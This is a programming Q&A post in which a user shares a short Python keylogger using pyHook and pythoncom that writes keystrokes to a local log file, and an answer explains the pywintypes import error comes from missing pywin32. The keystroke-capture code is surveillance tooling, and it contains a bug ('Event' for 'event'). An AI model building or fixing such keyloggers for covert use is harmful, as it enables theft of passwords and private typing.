ImportError: No module named pywintypes

Question

I am working to make a small keylogger with Python, by using the pyHook, pythoncom and Pywin32 modules. Here is my code:

import pyHook, pythoncom, sys, logging

file_log = 'C:\\important\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(Event.Ascii))
    return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

When it runs, it returns this error message:

 File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module>
    import pywintypes
ImportError: No module named pywintypes

How do I fix this error?

Answer 1

pywintypes is part of the Python for Windows extensions, otherwise known as pywin32. You'll need to install that to get access to pywintypes.

Note that as of this writing, pywin32's maintainer doesn't upload files to PyPI, so you have to get an appropriate version of installer from http://pywin32.sf.net.